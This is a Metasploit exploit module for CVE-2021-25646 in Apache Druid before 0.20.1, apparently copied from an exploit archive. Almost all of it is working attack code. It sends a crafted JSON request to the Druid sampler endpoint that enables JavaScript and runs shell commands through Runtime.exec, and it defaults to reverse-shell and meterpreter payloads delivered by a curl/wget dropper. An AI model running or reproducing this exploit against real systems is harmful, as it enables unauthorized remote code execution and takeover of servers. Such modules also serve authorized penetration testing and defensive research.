Exploit for Apache Druid 0.20.0 Remote Command Execution CVE-2021-25646

## https://sploitus.com/exploit?id=PACKETSTORM:162345
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Druid 0.20.0 Remote Command Execution',  
'Description' => %q{  
Apache Druid includes the ability to execute user-provided JavaScript code embedded in  
various types of requests; however, that feature is disabled by default.  
  
In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request  
that both enables the JavaScript code-execution feature and executes the supplied code all  
at once, allowing for code execution on the server with the privileges of the Druid Server process.  
More critically, authentication is not enabled in Apache Druid by default.  
  
Tested on the following Apache Druid versions:  
  
* 0.15.1  
* 0.16.0-iap8  
* 0.17.1  
* 0.18.0-iap3  
* 0.19.0-iap7  
* 0.20.0-iap4.1  
* 0.20.0  
* 0.21.0-iap3  
},  
'Author' => [  
'Litch1, Security Team of Alibaba Cloud', # Vulnerability discovery  
'je5442804' # Metasploit module  
],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'References' => [  
['CVE', '2021-25646'],  
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25646'],  
['URL', 'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E'],  
['URL', 'https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py']  
],  
'DisclosureDate' => '2021-01-21',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Targets' => [  
[  
'Linux (dropper)', {  
'Platform' => 'linux',  
'Type' => :linux_dropper,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'curl' },  
'CmdStagerFlavor' => %w[curl wget],  
'Arch' => [ARCH_X86, ARCH_X64]  
}  
],  
[  
'Unix (in-memory)', {  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
],  
],  
'DefaultTarget' => 0,  
'Privileged' => false,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
Opt::RPORT(8888),  
OptString.new('TARGETURI', [true, 'The base path of Apache Druid', '/'])  
])  
end  
  
def execute_command(cmd, _opts = {})  
gencmd = '/bin/sh`@~-c`@~' + cmd  
genvar = Rex::Text.rand_text_alpha(8..12)  
genname = Rex::Text.rand_text_alpha(8..12)  
vprint_status("cmd= #{gencmd} var=#{genvar} name=#{genname}")  
post_data = {  
type: 'index',  
spec: {  
ioConfig: {  
type: 'index',  
firehose: {  
type: 'local',  
baseDir: '/etc',  
filter: 'passwd'  
}  
},  
dataSchema: {  
dataSource: Rex::Text.rand_text_alpha(8..12),  
parser: {  
parseSpec: {  
format: 'javascript',  
timestampSpec: {},  
dimensionsSpec: {},  
function: "function(){var #{genvar} = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"#{gencmd}\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"#{rand(1..9999999)}\",#{genname}: #{genvar}}}",  
"": {  
enabled: 'true'  
}  
}  
}  
}  
},  
samplerConfig: {  
numRows: 10  
}  
}.to_json  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/druid/indexer/v1/sampler'),  
'ctype' => 'application/json',  
'headers' => {  
'Accept' => 'application/json, text/plain, */*'  
},  
'data' => post_data  
})  
end  
  
def check  
genecho = Rex::Text.rand_text_alphanumeric(16..32).gsub(/A/, 'a')  
  
vprint_status("Attempting to execute 'echo #{genecho}' on the target.")  
res = execute_command("echo #{genecho}")  
unless res  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res.code == 200  
return CheckCode::Safe  
end  
  
if res.body.include?(genecho)  
return CheckCode::Vulnerable  
end  
  
CheckCode::Unknown('Target does not seem to be running Apache Druid.')  
end  
  
def exploit  
case target['Type']  
when :linux_dropper  
execute_cmdstager  
when :unix_memory  
execute_command(payload.encoded)  
end  
end  
  
end